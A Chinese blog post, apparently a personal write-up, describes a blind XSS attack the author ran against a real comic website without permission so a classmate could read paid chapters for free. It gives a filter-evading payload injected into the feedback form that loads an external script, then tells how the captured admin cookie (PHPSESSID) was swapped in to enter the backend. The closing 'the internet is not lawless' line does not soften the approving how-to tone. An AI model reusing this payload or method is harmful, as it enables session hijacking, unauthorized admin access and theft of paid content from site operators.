第一次实战：XX漫画的XSS盲打
2024-10-19 11:26:50
第一次实战：XX漫画的XSS盲打
XSS盲打
盲打是一种惯称的说法，就是不知道有没有XSS漏洞存在的情况下，不顾一切的输入XSS代码在留言啊投诉窗口啊之类的地方，尽可能多的尝试XSS的语句，就叫盲打。一句话，就是干，往死里使劲干。
Interesting，哦，不对，Disgusting的发现
（竟然有这种荼毒人们思想的坏东西。。。不看不看）
但我同学看的是欲罢不能、血脉喷张。
幸好后面章节要充值。。。
他说：“这不好使，师哥告诉过我们‘能白嫖绝不充钱’。”
那行吧，帮他一下，方便他人也是方便自己
让我看看个人设置
点开问题反馈
输入XSS 语句：
</tExtArEa>'"><sCRiPt sRC=https://。。。.com/。。。></sCrIpT>
然后提交，等待管理员看到，就有可能触发哦吼吼吼！
但接下来需要漫长的等待
（这里说一下为什么不去免费网站：因为免费的话管理员可能不会常来，我还得写今周的学习报告。。。(=_=)）
一发入魂
比较幸运，前天发的XSS，今天就收到了信息，在XSS后台就看到了打中消息，让我们访问后台，替换cookie进入。（替换PHPSESSID的value即可。）
进入后台。
白嫖开始！
请记住：互联网并非法外之地！
请记住：互联网并非法外之地！
最新文章
- python单线程爬虫code
- KnockOut.js入门示例详解
- java进程性能分析步骤-超越昨天的自己系列(11)
- [LeetCode] Edit Distance（很好的DP）
- 在Linux下写一个简单的驱动程序
- [设计模式] 20 状态模式 State Pattern
- 指针和引用的比较（P105）
- jsoi2015 R2——滚粗记
- 【Android 复习】：从Activity中返回数据
- Transparent Application Failover 透明应用切换
- poj 3070 Fibonacci 矩阵快速幂
- Linux - RAID和LVM
- python excel写入及追加写入
- nginx+fastCGI
- python爬百度文库课件
- Educational Codeforces Round 61 C 枚举 + 差分前缀和
- Ext JS isField为空或不是对象问题的解决
- ionic android - Unable to start the daemon process. Could not reserve enough space for 2097152KB object heap
- Page Object设计模式（项目整体结构）
- LeetCode 第 231 题 (Power of Two)